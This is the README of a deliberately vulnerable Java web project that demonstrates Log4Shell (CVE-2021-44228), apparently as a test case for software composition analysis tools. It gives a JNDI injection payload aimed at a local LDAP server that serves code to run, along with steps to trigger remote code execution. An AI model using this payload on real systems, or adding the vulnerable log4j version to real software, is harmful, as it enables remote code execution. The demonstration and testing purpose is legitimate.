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l4j-tp1

jee web project with log4shell (CVE-2021-44228) vulnerability

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This is a simple web project with a log4shell vulnerability. The project defines a simple scabench.HelloWorldService get service returning a plain text string hello world. The service does not expect parameters, and if parameters are encountered, an error is logged.

The vulnerable dependency is org.apache.logging.log4j:log4j-core:2.14.1, the vulnerability is CVE-2021-44228.

Demonstrating the Vulnerability using a Test

This requires unix or macos. It is easy to port this project to windows.

A unit test is provided to demonstrate the vulnerability. The test requires a ldap server providing vulnerable code, the respective executable is provided by the project, it is defined in a separate project https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept based on https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept. The test fixture will handle startup and shutdown of the ldap server.

The test will create a file foo based on a command encoded embedded in the code of the ldap server the log4j connects to (touch foo). This server can be controlled by an attacker.

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To run the test build the project with mvn test.

Demonstrating the Vulnerability running the Application

  1. start the embedded web server: mvn jetty:run
  2. start the included the ldap server: java -jar dodgy-ldap-server.jar (the vulnerable copde will download Java code from this server)
  3. point the browser to http://localhost:8080/, this site contains a pre-populated form with a malicious payload ${jndi:ldap://127.0.0.1/exe}
  4. submit this form
  5. this will create a file foo on the server

Running Software Composition Analyses

There are several sh scripts to run different analyses, result resports can be found in scan-results.

Generating the SBOM

The pom.xml has a plugin to generate a SBOM in CycloneDX format. To do this, run mvn cyclonedx:makePackageBom, the SBOM can be found in target/ in json and xml format.